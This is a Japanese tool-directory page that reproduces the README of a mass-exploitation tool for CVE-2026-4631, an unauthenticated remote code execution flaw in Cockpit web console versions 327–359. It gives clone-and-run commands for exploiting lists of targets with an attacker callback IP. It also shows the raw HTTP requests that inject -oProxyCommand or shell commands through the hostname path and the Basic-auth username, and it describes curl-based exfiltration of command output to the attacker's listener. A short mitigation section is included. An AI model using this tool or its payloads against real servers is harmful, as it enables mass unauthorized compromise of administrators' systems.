Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-4631-cockpit-RCE — SSHコマンドライン引数インジェクションによる未認証リモートコード実行 Cockpit バージョン 327 – 359 | CVSS 9.8 緊急 | CWE-78 | Kitploit
ツール/GitHubGitHub/exdev994/cve-2026-4631-cockpit-rce
脆弱性スキャナーペイロード生成エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストコマンド&コントロールレッドチーミングリモートアクセスツール
GitHubexdev994/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

SSHコマンドライン引数インジェクションによる未認証リモートコード実行 Cockpit バージョン 327 – 359 | CVSS 9.8 緊急 | CWE-78

リポジトリを見る
212ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-4631 — Cockpit 大量エクスプロイトツール

SSHコマンドライン引数インジェクションによる認証なしリモートコード実行 Cockpit バージョン 327 – 359 | CVSS 9.8 Critical | CWE-78

Cockpit Webサービス(cockpit-ws、ポート9090)のCVE-2026-4631向けの大量エクスプロイトツール。脆弱性スキャンモード、ビルトインHTTPコールバックリスナー経由でのコマンド出力キャプチャ付きRCEモード、--autoモード(デフォルトコマンドidでスキャン+エクスプロイトを一度に実行)、ポートなしターゲットへの**:9090の自動追加**、両方の攻撃ベクトル(ProxyCommand+ユーザー名%rインジェクション)、ファイルからの大量ターゲット、スレッドによる並行処理、構造化された結果出力をサポートしています。

作者: 0xNuts


クイックスタート

クローンとインストール

git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

ターゲットの準備

targets.txtを編集 — 1行に1ホスト。ポートが指定されていない場合、:9090が自動的に追加されます:

192.168.1.10
cockpit.example.com
https://manage.lab.local

実行(AUTOモード — 推奨)

# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>

# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

その他のモード

# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>

# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>

コールバックの注意点

CVE-2026-4631はblind RCEです — コマンドの出力はHTTPレスポンスでは返ってきません。このツールは出力をキャプチャするためにビルトインHTTPリスナー(デフォルトポート8888)を使用します。次の点を確認してください:

  1. --callback-ipはターゲットから到達可能なIPであること(127.0.0.1ではなく)
  2. ファイアウォールでインバウンドTCPポート8888を許可すること(またはカスタムの--listener-port)
  3. ターゲットが攻撃者のIPへアウトバウンドHTTP接続できること

修正 / 緩和策(防御側)

1. Cockpitのアップグレード(必須)

# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

2. リモートログインの無効化(回避策)

/etc/cockpit/cockpit.confを編集:

[WebService]
LoginTo = false

サービスを再起動:

sudo systemctl restart cockpit

3. ネットワーク分離

ポート9090を管理ネットワークのみに制限:

sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

4. OpenSSH >= 9.6 へのアップグレード

早期ホスト名検証によりVector 1(ProxyCommandインジェクション)を緩和:

ssh -V   # harus OpenSSH_9.6 atau lebih baru

5. 手動パッチ(バックポート)

360にアップグレードできない場合は、次のパッチコミットを適用:

  • cockpit 9d0695647 — beiboot.pyとcockpitauth.cに--セパレータを追加
  • ferny 44ec511c99 — session.pyに--を追加

パッチの詳細: docs/PATCH_ANALYSIS.md を参照


目次

  1. 脆弱性の概要
  2. 攻撃ベクトル
  3. エクスプロイトの前提条件
  4. インストール
  5. 使用方法
  6. 動作モード
  7. 実行例
  8. 出力形式
  9. ツールのアーキテクチャ
  10. ファイル構造
  11. Blind RCEキャプチャの仕組み
  12. 検出と緩和
  13. 法的免責事項
  14. リファレンス

脆弱性の概要

フィールド詳細
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
深刻度Critical (CVSS 9.8)
CWECWE-78 — OSコマンドインジェクション
影響を受けるバージョンCockpit 327 – 359
修正バージョンCockpit 360+
認証要件不要(pre-authentication)
報告者Jelle van der Waa
サービスcockpit-ws、デフォルトポート9090

Cockpit v327はcockpit-ssh(libssh)を、システムのOpenSSH sshクライアントを呼び出すpython3 -m cockpit.beibootに置き換えました。ユーザーが制御する入力 — URLパスのホスト名とAuthorization: Basicヘッダーのユーザー名 — が、サニタイズなしかつ**--(エンドオブオプションセパレータ)なし**でsshに渡されます。インジェクションは認証情報の検証前に発生するため、有効なログインは不要です。


攻撃ベクトル

Vector 1 — ProxyCommandインジェクション(主)

URLパスのホスト名にSSHオプション-oProxyCommand=<cmd>がインジェクトされます。

GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")

SSHは-oProxyCommand=<cmd>をオプションとして解析し、<cmd>をProxyCommandとして実行します。コマンドはcockpit-wsのユーザープロセスとして実行されます。

前提条件: ターゲットのOpenSSH < 9.6。OpenSSH 9.6+にはメタキャラクタをブロックする早期ホスト名検証があります。

Vector 2 — ユーザー名%rトークンインジェクション(副)

Authorization: Basicヘッダーのユーザー名にシェルコマンドがインジェクトされます。

GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")

SSHがMatch execディレクティブ内の%rをユーザー名で展開 → シェルがインジェクトされたコマンドを実行します。

前提条件: ターゲットのssh_configに%rトークンを含むMatch execディレクティブがあること。


エクスプロイトの前提条件

攻撃者側(ツールを実行するマシン)

  • Python 3.8+
  • ターゲットのCockpitから到達可能なIP(コールバックリスナー用)
  • リスナー用に開放されたポート(デフォルト8888)
  • ファイアウォールでターゲットからリスナーポートへのインバウンドを許可

ターゲット側(Cockpitインスタンス)

  • Cockpitバージョン 327 – 359
  • ポート9090に到達可能
  • リモートログイン機能(LoginTo)が無効化されていない
  • Vector 1の場合: OpenSSH < 9.6
  • Vector 2の場合: Match exec %rを含むssh_config

インストール

# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Install dependency
pip install -r requirements.txt

# Verifikasi
python3 exploit.py --help

依存関係

  • requests>=2.31 — エクスプロイトリクエスト用のHTTPクライアント
  • colorama>=0.4 — ターミナル出力の色付け

リスナー用の追加の依存関係はありません(stdlibのhttp.server + threadingを使用)。


使用方法

usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]

CVE-2026-4631 Cockpit Mass Exploit — Unauthenticated RCE via SSH Argument Injection

optional arguments:
  -h, --help            show this help message and exit
  -t, --target          single target URL/host (port auto-added jika absent)
  -f, --file            file containing list of targets (one per line)
  --default-port        port yang di-append jika target tanpa port (default: 9090)
  -c, --cmd             command to execute (default: "id" pada mode --auto / RCE)
  --scan                vulnerability scan mode (no RCE, probe endpoint only)
  --auto                scan + exploit sekali jalan, command default "id"
  --vector              exploit vector: auto|proxycommand|username (default: auto)
  -o, --output          result output file (default: results.txt)
  --callback-ip         attacker IP reachable from target (for callback listener)
  --listener-port       callback listener port (default: 8888)
  --threads             concurrent workers (default: 10)
  --timeout             seconds to wait for callback per target (default: 10)
  --delay               delay between requests in seconds (default: 0)
  --proxy               HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
  --user-agent          custom User-Agent string
  -v, --verbose         verbose output (debug)
  --no-color            disable colored output

動作モード

Mode 1 — 脆弱性スキャン(--scan)

エクスプロイトなしでエンドポイント/cockpit+=probe-host/loginをプローブします。検出内容:

  • レスポンスヘッダー/ボディによるCockpitフィンガープリント
  • 脆弱なログインフローが有効(レスポンスコード401/403/200/500)
  • 可能な場合のバージョン推定

悪意のあるペイロードは送信せず、コールバックリスナーも不要です。

Mode 2 — コマンドキャプチャ付きRCE(-c "cmd")

ターゲットでコマンドを実行し、コールバック経由で出力をキャプチャ:

  • ビルトインHTTPリスナーをバックグラウンドで起動
  • ProxyCommandペイロードがcurlによるリスナーへの外部送信(exfil)でコマンドをラップ
  • 出力はbase64エンコードされ、POSTでリスナーに送信
  • リスナーがデコードし、リクエストID経由でターゲットにマッチング
  • 結果は出力ファイルに書き込まれる
  • -cが指定されていない場合、デフォルトコマンド = id

Mode 3 — AUTO(--auto)— 推奨

スキャン+エクスプロイトを1パスで実行、デフォルトコマンドid:

ツールをダウンロード